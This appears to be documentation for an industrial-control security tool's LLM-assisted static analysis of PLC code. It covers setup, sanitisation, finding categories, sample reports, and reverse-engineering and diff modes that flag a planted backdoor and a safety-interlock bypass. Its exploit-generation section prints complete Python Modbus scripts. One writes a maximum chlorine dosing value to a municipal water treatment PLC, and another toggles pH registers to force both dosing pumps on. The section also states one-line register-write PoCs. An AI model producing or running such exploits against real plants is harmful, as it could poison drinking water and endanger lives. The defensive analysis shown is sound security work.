SAST / LLM Analysis

Supported LLM Providers

Configuring an LLM Key

Option 1: Environment Variable (Recommended)

# Google Gemini (free tier available)
export GOOGLE_AI_STUDIO_API_KEY=AIzaSyXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
ixf
# OpenAI
export OPENAI_API_KEY=sk-svcacct-AbCdEfGhIjKlMnOpQrStUvWxYz0123456789
ixf
# Anthropic
export ANTHROPIC_API_KEY=sk-ant-api03-XXXXXXXXXXXXXXXXXXX
ixf
# DeepSeek
export DEEPSEEK_API_KEY=sk-deepseek-XXXXXXXXXXXXXXXXXXXXXXXXXX
ixf
# Grok (xAI)
export XAI_API_KEY=xai-XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
ixf

Option 2: llm-key Shell Command (In-Session Only)

ixf > llm-key gemini AIzaSyXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
[+] LLM key configured: provider=gemini len=39
[i] Key stored in-session only. Set GOOGLE_AI_STUDIO_API_KEY to persist.
ixf > llm-key openai sk-svcacct-AbCdEfGhIjKlMnOpQrStUvWxYz0123456789
[+] LLM key configured: provider=openai len=55
ixf > llm-key anthropic sk-ant-api03-XXXXXXXXXXXXXXXXXXX
[+] LLM key configured: provider=anthropic len=40
ixf > llm-key deepseek sk-deepseek-XXXXXXXXXXXXXXXXXXXXXXXXXX
[+] LLM key configured: provider=deepseek len=37
ixf > llm-key grok xai-XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
[+] LLM key configured: provider=grok len=44

llm-status Full Output

ixf > llm-status
 LLM Provider Status
 ──────────────────────────────────────────────────────────────────────────
 Provider Status Model Source
 openai configured gpt-4o OPENAI_API_KEY (env)
 anthropic not configured claude-3-5-sonnet-... (set ANTHROPIC_API_KEY)
 gemini configured gemini-2.5-flash GOOGLE_AI_STUDIO_API_KEY (env)
 deepseek not configured deepseek-chat (set DEEPSEEK_API_KEY)
 grok not configured grok-2-latest (set XAI_API_KEY)
 ──────────────────────────────────────────────────────────────────────────
 Active provider: openai (gpt-4o) [selected by priority: openai > anthropic > gemini > deepseek > grok]
 [i] To use gemini instead, unset OPENAI_API_KEY or configure only gemini
 [i] Token budget: 128K tokens (applies to all providers)
 [i] Sanitization: ALWAYS applied before sending code to LLM

Running SAST Analysis

ixf > sast <path> [--mode <mode>] [--diff <other_file>]

Supported File Extensions

Code Sanitization

All 7 Sanitization Types

Sanitization in Action

(* Water Treatment Controller v2.1 *)
PROGRAM WaterTreatment
 VAR
 historian_ip : STRING := '192.168.10.50';
 historian_user : STRING := 'admin';
 historian_pass : STRING := 'Sup3rS3cr3t!';
 opcua_endpoint : STRING := 'opc.tcp://10.0.1.5:4840/WINCC/ServerInterface';
 db_conn : STRING := 'Server=10.0.1.10;Database=historian;User=sa;Pwd=Admin123';
 END_VAR

(* Water Treatment Controller v2.1 *)
PROGRAM WaterTreatment
 VAR
 historian_ip : STRING := '[IP_REDACTED]';
 historian_user : STRING := 'username: [REDACTED]';
 historian_pass : STRING := 'password: [REDACTED]';
 opcua_endpoint : STRING := 'opc.tcp://[ENDPOINT_REDACTED]';
 db_conn : STRING := '[CONN_STRING_REDACTED]';
 END_VAR

[*] Sanitizing code... Removed: 3 credential(s), 2 IP address(es), 1 OPC UA endpoint, 1 connection string
[*] Sending 4.2 KB to LLM (sanitized)...

Token Budget

[!] Code size 145K tokens exceeds provider limit (128K for openai).
[!] Truncating to 128K tokens. Large files may receive incomplete analysis.
[i] Tip: Analyze individual files instead of the full directory.
[i] Or switch to gemini: llm-key gemini AIzaSy... (1M token limit)

[*] Token count: 9.7 KB ≈ 2,400 tokens (well within 128K budget)

8 Analysis Categories

Category 1: Setpoint Safety Validation

FINDING [SEVERITY: CRITICAL]: Unvalidated Pressure Setpoint
 Location: compressor.st, line 34
 Code: MAX_PRESSURE := MW100; (* HR[50] written directly *)
 Issue: No upper bound validation on MW100 (Modbus HR[50])
 Attack: Modbus FC16 write to HR[50] with value 65535 → catastrophic overpressure
 Physical: Gas compressor runaway, explosion risk
 Fix: MAX_PRESSURE := MIN(MW100, 150.0); (* Max 150 PSI hardware safe limit *)
 IF MAX_PRESSURE > HARDWARE_SAFE_LIMIT THEN EMERGENCY_STOP := TRUE; END_IF

Category 2: Authentication and Access Control

FINDING [SEVERITY: HIGH]: Programming Port Without Authentication
 Location: network_config.il, line 7
 Code: LD PROGRAMMING_PORT_ENABLED
 ST TRUE (* No authentication check *)
 Issue: PLC programming interface enabled without requiring authentication
 Attack: T0843 (Program Download) — any host can download modified PLC program
 Fix: Add authentication check: IF ENGINEER_AUTHENTICATED THEN PROG_ENABLE := TRUE

Category 3: Logic Race Conditions

FINDING [SEVERITY: HIGH]: Race Condition in Chemical Dosing
 Location: chemical_dosing.st, lines 45-52
 Code: (* Cycle 1: *) IF pH < 6.0 THEN ACID_PUMP := TRUE; END_IF
 (* Cycle 2: *) IF pH > 8.0 THEN BASE_PUMP := TRUE; END_IF
 Issue: pH sensor read happens asynchronously between cycles.
 Both pumps can be TRUE simultaneously during rapid pH oscillation.
 Physical: pH < 2 or pH > 12 — severely corrosive water — infrastructure damage
 Fix: Add mutex: IF ACID_PUMP THEN BASE_PUMP := FALSE; END_IF
 Or use atomic pH read with single decision point per scan

Category 4: Missing Safety Interlocks

FINDING [SEVERITY: CRITICAL]: Safety Interlock Disabled
 Location: reactor.st, line 88
 Code: (* TEMP_INTERLOCK := TRUE; *) (* TODO: re-enable after maintenance *)
 HEATER_ENABLE := TRUE; (* Heater can run without temperature limit *)
 Issue: Temperature interlock commented out — heater runs without safety limit
 Physical: Thermal runaway → reactor vessel overpressure → catastrophic failure
 Fix: Restore: TEMP_INTERLOCK := (REACTOR_TEMP < MAX_SAFE_TEMP);
 HEATER_ENABLE := HEATER_REQUEST AND TEMP_INTERLOCK;
 Add CI check to prevent committed commented-out safety code

Category 5: Hardcoded Credentials and Secrets

FINDING [SEVERITY: MEDIUM]: Hardcoded Database Credentials
 Location: historian_connector.st, line 12
 Code: [CONN_STRING_REDACTED] (* Original had hardcoded username and password *)
 Issue: Database connection uses hardcoded credentials in PLC source code
 Risk: Version control exposure; insider threat; supply chain compromise
 Fix: Use credential vault (CyberArk, HashiCorp Vault, or environment variables)
 Implement certificate-based authentication for historian connection

Category 6: Network Exposure and Protocol Security

FINDING [SEVERITY: HIGH]: Unencrypted OPC UA Session
 Location: opcua_client.py, line 23
 Code: client = Client("opc.tcp://[ENDPOINT_REDACTED]")
 client.set_security_policy(SecurityPolicyType.None_) # No security
 Issue: OPC UA session with SecurityMode=None — all data in plaintext
 Attack: T0830 (Adversary-in-the-Middle) — intercept tag reads/writes
 Fix: Use SecurityPolicy.Basic256Sha256 with certificate-based authentication:
 await client.set_security(
 SecurityPolicyType.Basic256Sha256,
 certificate_path, private_key_path
 )

Category 7: Physical Process Impact Assessment

FINDING [CONTEXT: CATASTROPHIC POTENTIAL]: Process Type — Water Treatment
 Location: water_treatment.st (full program analysis)
 Physical Process: Drinking water treatment for municipal supply
 Identified Attack Surface:
 - Chlorine dosing setpoint: unvalidated (CRITICAL — can cause lethal dosing)
 - pH neutralization: race condition (HIGH — corrosive water potential)
 - Turbidity monitoring: sensor bypass possible (MEDIUM — pathogen passage)
 Aggregate Physical Impact Assessment:
 Exploiting CRITICAL + HIGH findings together:
 → Lethally chlorinated water delivered to population (>2000x WHO limit)
 → pH excursion makes chlorine ineffective simultaneously
 → Mass casualty potential if delivered to distribution network
 MITRE: T0836, T0831, T0878, T0837 (Loss of Safety)

Category 8: Code Quality and Maintainability Security

FINDING [SEVERITY: LOW]: Security-Relevant TODO Comment
 Location: safety_plc.st, line 156
 Code: (* TODO: add auth check before EMERGENCY_OVERRIDE *)
 IF EMERGENCY_OVERRIDE THEN
 INHIBIT_ALL_ALARMS := TRUE; (* Suppresses all safety alarms *)
 SAFETY_SIL2_BYPASS := TRUE;
 END_IF
 Issue: Safety bypass without authentication check — acknowledged as missing in code
 Risk: Any operator (or attacker) can trigger emergency override without MFA
 Fix: Add authentication: IF EMERGENCY_OVERRIDE AND SUPERVISOR_AUTH THEN ...

Analysis Modes — Complete Reference

--mode sast (Default) — Full Vulnerability Analysis

ixf > sast /opt/plc_projects/water_treatment/ --mode sast
[*] Target: /opt/plc_projects/water_treatment/ (5 files, 245 lines)
[*] Languages: ST (3 files, 187 lines), FBD (1 file, 38 lines), IL (1 file, 20 lines)
[*] Provider: gemini (gemini-2.5-flash)
[*] Sanitizing... Removed: 2 credential(s), 1 public IP
[*] Token count: 9.7 KB ≈ 2,400 tokens
[*] Sending sanitized code to LLM...
[*] Analysis complete (elapsed: 8.2s)
 SAST VULNERABILITY ANALYSIS REPORT
 ═══════════════════════════════════════════════════════════════════════
 Target: /opt/plc_projects/water_treatment/
 Files: 5 | Lines: 245
 Provider: gemini-2.5-flash
 Date: 2026年06月01日 20:15:43
 ┌─────────────────────────────────────────────────────────────────────┐
 │ FINDINGS SUMMARY: 1 CRITICAL | 2 HIGH | 1 MEDIUM | 1 LOW | 1 INFO │
 └─────────────────────────────────────────────────────────────────────┘
 ════════════════════════════════════════════════════════════════════════
 FINDING 1 [SEVERITY: CRITICAL]
 ════════════════════════════════════════════════════════════════════════
 Title: Unvalidated Chlorine Dosing Setpoint
 Location: water_treatment.st, line 48
 Category: Setpoint Safety Validation (Category 1)
 Type: Input Validation Flaw / Unsafe Setpoint
 Code:
 SP_CHLORINE_HIGH := 4000.0; (* TODO: validate this value *)
 DOSE_FACTOR := MW_DOSE_FACTOR; (* HR[200] — no range check *)
 Attack Vector: Modbus FC16 write to HR[200] (DOSE_FACTOR) — no authentication required
 Physical Impact: Setting DOSE_FACTOR to max (65535) → ~4000 mg/L chlorine
 WHO safe limit: 2.0 mg/L | Lethal threshold (infants): ~5 mg/L
 CATASTROPHIC potential — mass casualty if distributed
 MITRE ATT&CK for ICS: T0836 (Modify Parameter), T0878 (Alarm Suppression)
 Exploit PoC: modbus_write_register(unit=1, address=200, value=65535)
 Remediation:
 DOSE_FACTOR := MW_DOSE_FACTOR;
 IF DOSE_FACTOR > 2.0 THEN
 DOSE_FACTOR := 2.0;
 ALARM_SETPOINT_OVERRIDE := TRUE;
 LOG('DOSE_FACTOR clamped: attempted value ', MW_DOSE_FACTOR);
 END_IF
 (* Add hardware interlock: analog output ≤ 2.0 enforced in field instrument *)
 References: WHO Water Quality Guidelines (2022); ICS-CERT Alert ICS-ALERT-21-209-01
 Residual Risk: Hardware interlock recommended even after software fix
 ════════════════════════════════════════════════════════════════════════
 FINDING 2 [SEVERITY: HIGH]
 ════════════════════════════════════════════════════════════════════════
 Title: Race Condition in pH Dosing Logic
 Location: water_treatment.st, lines 65-71
 Category: Logic Race Condition (Category 3)
 Code:
 IF pH_SENSOR < 6.0 THEN ACID_PUMP := TRUE; END_IF
 IF pH_SENSOR > 8.0 THEN BASE_PUMP := TRUE; END_IF
 Issue: pH sensor value can change between the two IF evaluations in a single
 scan cycle (interrupt-driven ADC update). Both pumps active simultaneously.
 Physical: pH <2 or pH >12 — severely corrosive water
 MITRE: T0831 (Manipulation of Control)
 Remediation: Cache sensor at scan start; add mutual exclusion
 pH_CACHED := pH_SENSOR;
 IF pH_CACHED < 6.0 THEN ACID_PUMP := TRUE; BASE_PUMP := FALSE;
 ELSIF pH_CACHED > 8.0 THEN BASE_PUMP := TRUE; ACID_PUMP := FALSE;
 ELSE ACID_PUMP := FALSE; BASE_PUMP := FALSE;
 END_IF
 ════════════════════════════════════════════════════════════════════════
 FINDING 3 [SEVERITY: HIGH]
 ════════════════════════════════════════════════════════════════════════
 Title: Unauthenticated PLC Programming Interface
 Location: network_config.st, line 12
 Category: Authentication and Access Control (Category 2)
 Code: PROGRAMMING_PORT := 502; (* dev mode — auth not implemented *)
 Issue: Any host on the OT network can download a modified PLC program
 MITRE: T0843 (Program Download)
 Remediation: Disable port in production; require engineering station certificate
 ════════════════════════════════════════════════════════════════════════
 FINDING 4 [SEVERITY: MEDIUM]
 ════════════════════════════════════════════════════════════════════════
 Title: Hardcoded Database Credentials
 Location: historian_connector.st, line 8
 Category: Hardcoded Credentials (Category 5)
 Code: [CONN_STRING_REDACTED] (sanitized — original contained credentials)
 Issue: Historian connection string with hardcoded credentials
 Remediation: Use vault or environment-based credential injection
 ════════════════════════════════════════════════════════════════════════
 FINDING 5 [SEVERITY: LOW]
 ════════════════════════════════════════════════════════════════════════
 Title: Missing Watchdog Timer
 Location: main.st (entire program)
 Category: Missing Safety Interlocks (Category 4)
 Issue: No watchdog timer configured — PLC could hang indefinitely
 Remediation: WDT_Enable := TRUE; WDT_Timeout := 500; (* 500ms scan watchdog *)
 ════════════════════════════════════════════════════════════════════════
 FINDING 6 [INFO: Physical Process Context]
 ════════════════════════════════════════════════════════════════════════
 Title: Process Type Identified — Municipal Water Treatment
 Assessment: High-value target. All findings above have elevated real-world consequence
 compared to equivalent vulnerabilities in non-critical processes.
 Aggregate exploitation of CRITICAL + HIGH findings creates mass casualty potential.
 ═══════════════════════════════════════════════════════════════════════
 MITRE TECHNIQUES IDENTIFIED: T0836, T0831, T0843, T0878, T0837
 OVERALL RISK: CRITICAL
 ═══════════════════════════════════════════════════════════════════════
[+] SAST report saved: .tmp/sast_results/water_treatment_20260601_201543.md

--mode reverse — Reverse Engineering Analysis

ixf > sast /opt/plc_dumps/plc_firmware_v3.2.bin --mode reverse
[*] Target: /opt/plc_dumps/plc_firmware_v3.2.bin (binary, 847 KB)
[*] Provider: gemini (gemini-2.5-flash)
[*] Mode: reverse — LLM-assisted binary/firmware analysis
[*] Extracting readable strings and structure markers...
[*] Sanitizing extracted content...
[*] Sending to LLM for reverse analysis...
 REVERSE ENGINEERING ANALYSIS REPORT
 ═══════════════════════════════════════════════════════════════
 Target: plc_firmware_v3.2.bin (847 KB)
 Mode: Reverse Engineering
 ─────────────────────────────────────────────────────────────
 IDENTIFIED SECTIONS:
 ─────────────────────────────────────────────────────────────
 Offset 0x0000-0x03FF : Boot header (VxWorks 6.9 signature)
 Offset 0x0400-0x1FFF : Configuration strings
 Offset 0x2000-0x8FFF : Runtime code (ARM Thumb-2 instructions)
 Offset 0x9000-0xFFFF : Data/constant section
 ─────────────────────────────────────────────────────────────
 EXTRACTED INDICATORS:
 ─────────────────────────────────────────────────────────────
 String match: "password" (offset 0x1A44) — potential hardcoded credential
 String match: "192.168.[IP_REDACTED]" (3 occurrences) — hardcoded IPs found
 String match: "ADMIN_OVERRIDE=1" — undocumented override flag
 String match: "DEBUG_MODBUS_PASSTHROUGH" — debug mode not removed from production FW
 Function name (symbol table): "auth_bypass_legacy()" — suspicious function name
 Modbus handler: FC16 write — no bounds checking on value range (assembly analysis)
 ─────────────────────────────────────────────────────────────
 SECURITY FINDINGS:
 ─────────────────────────────────────────────────────────────
 FINDING [SEVERITY: CRITICAL]: Undocumented Admin Override Flag
 Evidence: "ADMIN_OVERRIDE=1" in configuration section
 Risk: May allow unauthenticated administrative access
 Action: Request source code review from vendor; apply vendor patch
 FINDING [SEVERITY: HIGH]: Debug Mode Not Removed
 Evidence: "DEBUG_MODBUS_PASSTHROUGH" function present
 Risk: Debug Modbus passthrough may bypass authentication in production
 Action: Contact vendor for non-debug firmware build
 FINDING [SEVERITY: HIGH]: Suspicious Function: auth_bypass_legacy()
 Evidence: Symbol table entry; called from authentication handler
 Risk: Legacy authentication bypass potentially left in production code
 Action: Penetration test authentication flow; request source from vendor
 FINDING [SEVERITY: MEDIUM]: Hardcoded IP Addresses (3 occurrences)
 Evidence: IP addresses embedded in firmware (redacted in this report)
 Risk: Hardcoded IPs complicate network reconfiguration; may be C2 addresses
 Action: Compare with known legitimate management IPs; verify with vendor

--mode diff — Code Change Detection

ixf > sast /backup/plc_v1.st --mode diff --diff /current/plc_v2.st
[*] Diff analysis: /backup/plc_v1.st vs /current/plc_v2.st
[*] Provider: gemini
[*] Computing structural diff...
[*] Sending diff + context to LLM...
 PLC CODE CHANGE SECURITY ANALYSIS
 ═══════════════════════════════════════════════════════════════
 File A (reference): /backup/plc_v1.st (saved: 2026年05月01日)
 File B (current): /current/plc_v2.st (modified: 2026年05月28日)
 Total changes: 4 sections modified, 2 sections added, 0 deleted
 ─────────────────────────────────────────────────────────────
 CHANGE 1: AUTHORIZED — Routine maintenance
 ─────────────────────────────────────────────────────────────
 Location: Lines 12-15 (header comment)
 Change: Version comment updated from "v1.0" to "v1.1"
 Assessment: BENIGN — version tracking only
 ─────────────────────────────────────────────────────────────
 CHANGE 2: SUSPICIOUS — Requires investigation
 ─────────────────────────────────────────────────────────────
 Location: Lines 47-53 (safety interlock block)
 Version A (before):
 IF PRESSURE > MAX_PRESSURE THEN
 SAFETY_VALVE := TRUE; (* Opens relief valve *)
 EMERGENCY_STOP := TRUE; (* Stops process *)
 ALARM := TRUE; (* Alerts operator *)
 END_IF
 Version B (after — CURRENT):
 IF PRESSURE > MAX_PRESSURE THEN
 (* SAFETY_VALVE := TRUE; *) (* — commented out 2026年05月28日 *)
 FAKE_PRESSURE := 45.0; (* spoofed to hide overpressure *)
 EMERGENCY_STOP := FALSE; (* stop prevented *)
 ALARM := FALSE; (* alarm silenced *)
 END_IF
 Assessment: [SEVERITY: CRITICAL] UNAUTHORIZED MODIFICATION DETECTED
 Analysis: Safety valve disabled. Pressure reading spoofed to 45 PSI
 (hiding real overpressure). Emergency stop prevented.
 Alarm suppressed. Classic Triton/Industroyer2-style safety system bypass.
 Physical consequence: uncontrolled overpressure → catastrophic failure.
 MITRE: T0838 (Modify Alarm Settings), T0836 (Modify Parameter),
 T0829 (Loss of Protection), T0837 (Loss of Safety)
 Action: IMMEDIATE ROLLBACK to version A. Investigate access logs for 2026年05月28日.
 Preserve evidence. Notify CISO and ICS-CERT if critical infrastructure.
 ─────────────────────────────────────────────────────────────
 CHANGE 3: UNAUTHORIZED — Command and control addition
 ─────────────────────────────────────────────────────────────
 Location: Lines 89-95 (new block added)
 Version A: (section did not exist)
 Version B:
 (* Maintenance backdoor — remove before production *)
 IF HIDDEN_TRIGGER = 0xDEAD THEN
 COIL_REMOTE_ENABLE := TRUE; (* allows remote coil control *)
 MODBUS_AUTH_BYPASS := TRUE; (* disables Modbus auth *)
 END_IF
 Assessment: [SEVERITY: CRITICAL] BACKDOOR DETECTED
 Analysis: Magic value (0xDEAD) triggers remote control bypass.
 Comment "remove before production" was not removed — deliberate.
 MITRE: T0859 (Valid Accounts bypass), T0836
 ─────────────────────────────────────────────────────────────
 CHANGE 4: BENIGN — Parameter update
 ─────────────────────────────────────────────────────────────
 Location: Lines 34-35
 Change: PUMP_SPEED_MAX from 3000 to 3100 RPM
 Assessment: Likely authorized maintenance change — verify with change log
 ─────────────────────────────────────────────────────────────
 OVERALL ASSESSMENT: CRITICAL — 2 unauthorized modifications detected
 ─────────────────────────────────────────────────────────────
 Action: Immediate rollback to /backup/plc_v1.st
 Preserve both files for forensic analysis
 Investigate access control to PLC programming station
 Report to CISO and consider ICS-CERT notification
[+] Diff report saved: .tmp/sast_results/plc_diff_20260601_202800.md

--mode exploit-gen — Exploit Generation

ixf > sast /opt/plc_projects/water_treatment/water_treatment.st --mode exploit-gen
[*] Analyzing for exploit generation potential...
[*] Provider: gemini
[*] Running SAST pass first...
[*] Generating PoC exploit for top findings...
 EXPLOIT GENERATION REPORT
 ═══════════════════════════════════════════════════════════════
 Source: water_treatment.st
 Findings used: CRITICAL (Chlorine Dosing Setpoint), HIGH (Race Condition)
 ════════════════════════════════════════════════════════════════
 EXPLOIT 1 — CRITICAL Finding: Chlorine Dosing Attack
 ════════════════════════════════════════════════════════════════
 Description: Writes maximum dosing value to HR[200] (DOSE_FACTOR) via unauthenticated
 Modbus TCP to cause catastrophic chlorine overdose
 Language: Python (pymodbus)
 Impact: CATASTROPHIC — mass casualty potential
 Generated PoC:
 ─────────────────────────────────────────────────────────────────
 #!/usr/bin/env python3
 """
 Water Treatment Chlorine Dosing PoC
 Finding: Unvalidated setpoint HR[200] (DOSE_FACTOR)
 MITRE: T0836 (Modify Parameter)
 AUTHORIZED PENETRATION TESTING ONLY
 """
 from pymodbus.client import ModbusTcpClient
 import sys
 TARGET = sys.argv[1] if len(sys.argv) > 1 else "192.168.1.100"
 PORT = 502
 UNIT_ID = 1
 DOSE_REGISTER = 200 # HR[200] = DOSE_FACTOR (maps to SP_CHLORINE_HIGH)
 ATTACK_VALUE = 65535 # Maximum register value → ~4000 mg/L
 print(f"[*] Connecting to {TARGET}:{PORT}...")
 client = ModbusTcpClient(TARGET, port=PORT)
 if not client.connect():
 print(f"[-] Connection failed")
 sys.exit(1)
 print(f"[+] Connected")
 # Read original value first (for restoration)
 original = client.read_holding_registers(DOSE_REGISTER, count=1, unit=UNIT_ID)
 if not original.isError():
 print(f"[i] Original DOSE_FACTOR: {original.registers[0]}")
 # Write attack value
 result = client.write_registers(DOSE_REGISTER, [ATTACK_VALUE], unit=UNIT_ID)
 if not result.isError():
 print(f"[+] DOSE_FACTOR set to {ATTACK_VALUE} on {TARGET}:{PORT}")
 print(f"[!] Estimated chlorine dose: ~{ATTACK_VALUE * 0.061:.1f} mg/L")
 print(f"[!] WHO limit: 2.0 mg/L | Lethal: ~5 mg/L for infants")
 else:
 print(f"[-] Write failed: {result}")
 # Restore original
 input("[*] Press Enter to restore original value (ALWAYS restore after testing)...")
 if not original.isError():
 client.write_registers(DOSE_REGISTER, [original.registers[0]], unit=UNIT_ID)
 print(f"[+] Original value restored: {original.registers[0]}")
 client.close()
 ─────────────────────────────────────────────────────────────────
 ════════════════════════════════════════════════════════════════
 EXPLOIT 2 — HIGH Finding: pH Race Condition Trigger
 ════════════════════════════════════════════════════════════════
 Description: Rapidly toggles pH sensor readings to trigger both acid and base pump
 simultaneously during race condition window
 Language: Python (pymodbus)
 Impact: HIGH — corrosive water production
 Generated PoC:
 ─────────────────────────────────────────────────────────────────
 #!/usr/bin/env python3
 """Rapid pH toggling to trigger race condition"""
 from pymodbus.client import ModbusTcpClient
 import time
 TARGET = "192.168.1.100"
 PORT = 502
 PH_REGISTER = 150 # HR[150] = pH sensor input register (analog input)
 client = ModbusTcpClient(TARGET, port=PORT)
 client.connect()
 print("[*] Starting pH toggle attack (race condition exploitation)...")
 for i in range(20):
 # Toggle between acid-triggering and base-triggering pH values
 # within a single PLC scan cycle timeframe
 client.write_registers(150, [500], unit=1) # pH 5.0 → triggers ACID_PUMP
 time.sleep(0.005) # 5ms — within scan cycle
 client.write_registers(150, [850], unit=1) # pH 8.5 → triggers BASE_PUMP
 time.sleep(0.005)
 print(f"[*] Iteration {i+1}/20 — both pumps may be active simultaneously")
 client.close()
 ─────────────────────────────────────────────────────────────────
 [!] All exploit PoCs are for authorized penetration testing only.
 [i] MITRE: T0836, T0831 | Physical Impact: CATASTROPHIC / HIGH
 [+] Exploit report saved: .tmp/sast_results/water_treatment_exploits_20260601.md

Finding Format Template

FINDING [SEVERITY: <CRITICAL|HIGH|MEDIUM|LOW|INFO>]
 Title: Short, descriptive finding name
 Location: Filename, line number(s)
 Category: One of 8 analysis categories
 Type: Specific vulnerability type
 Code: Relevant code snippet (sanitized if credentials present)
 Issue: Explanation of why this is a security problem
 Attack Vector: How an attacker would exploit this (protocol, register, method)
 Physical Impact: Real-world consequence to the controlled process
 MITRE ATT&CK for ICS: Technique IDs and names
 Exploit PoC: Short exploit demonstration (for CRITICAL and HIGH only)
 Remediation: Specific, actionable code fix
 References: Standards, CVE references, vendor advisories
 Residual Risk: Any remaining risk after remediation

Running SAST from the Python API

import asyncio
from industrialxpl.core.sast.llm_provider import LLMProvider
from industrialxpl.core.sast.plc_parsers import load_plc_files, sanitize_code
from industrialxpl.core.sast.prompts import build_sast_prompt
async def run_sast_analysis(file_path: str, provider: str = "gemini") -> str:
 """Run SAST analysis on a PLC source file."""
 # Load and sanitize
 code = load_plc_files(file_path)
 sanitized, redactions = sanitize_code(code)
 print(f"[*] Sanitized: {redactions['credentials']} credentials, {redactions['ips']} IPs")
 # Build prompt
 prompt = build_sast_prompt(sanitized, mode="sast")
 # Get LLM provider
 llm = LLMProvider.get_active()
 if not llm:
 raise ValueError("No LLM provider configured. Set API key via env var.")
 # Run analysis
 result = await llm.complete(prompt)
 return result
# Usage
if __name__ == "__main__":
 result = asyncio.run(run_sast_analysis("/opt/plc_projects/water_treatment.st"))
 print(result)

Example Files Included in IXF

Error Handling

API Key Missing

ixf > sast /opt/plc.st
[-] No LLM provider configured.
[i] Option 1: Set environment variable:
 export GOOGLE_AI_STUDIO_API_KEY=AIzaSy...
[i] Option 2: Use llm-key command:
 ixf > llm-key gemini AIzaSy...
[i] Available providers: openai, anthropic, gemini, deepseek, grok

File Not Found

ixf > sast /nonexistent/path.st
[-] File not found: /nonexistent/path.st
[i] Check the path and try again.
[i] For a directory: sast /path/to/project/
[i] For a file: sast /path/to/program.st

Code Truncation Warning

ixf > sast /large_project/ --mode sast
[*] Target: /large_project/ (47 files, 12,450 lines)
[*] Token count: 187K tokens
[!] Code size exceeds provider limit (128K for openai).
[!] Truncating to 128K tokens. Last 7 files excluded from analysis.
[!] Excluded files:
 - /large_project/subsystem_g.st (12K tokens)
 - /large_project/subsystem_h.st (8K tokens)
 - ...
[i] For complete analysis:
 - Analyze subdirectories separately
 - Switch to gemini (1M token limit): llm-key gemini AIzaSy...
 - Or analyze most critical files individually
[*] Continuing with available 128K tokens...

LLM API Error

ixf > sast /opt/plc.st
[*] Sending to LLM...
[-] LLM API error (gemini): 429 Too Many Requests — quota exceeded
[i] Wait and retry, or switch to a different provider:
 ixf > llm-key openai sk-...
[i] Or use the GOOGLE_AI_STUDIO_API_KEY for free tier (with limits)

Unsupported File Extension

ixf > sast /opt/firmware.exe
[!] Unknown file extension: .exe
[i] Supported: .st, .fbd, .ladder, .il, .sfc, .cfc, .xml, .aml, .py, .c, .cpp, .go, .js, .rb, .pl, .java
[i] Tip: Use --mode reverse for binary firmware files
[*] Attempting best-effort analysis...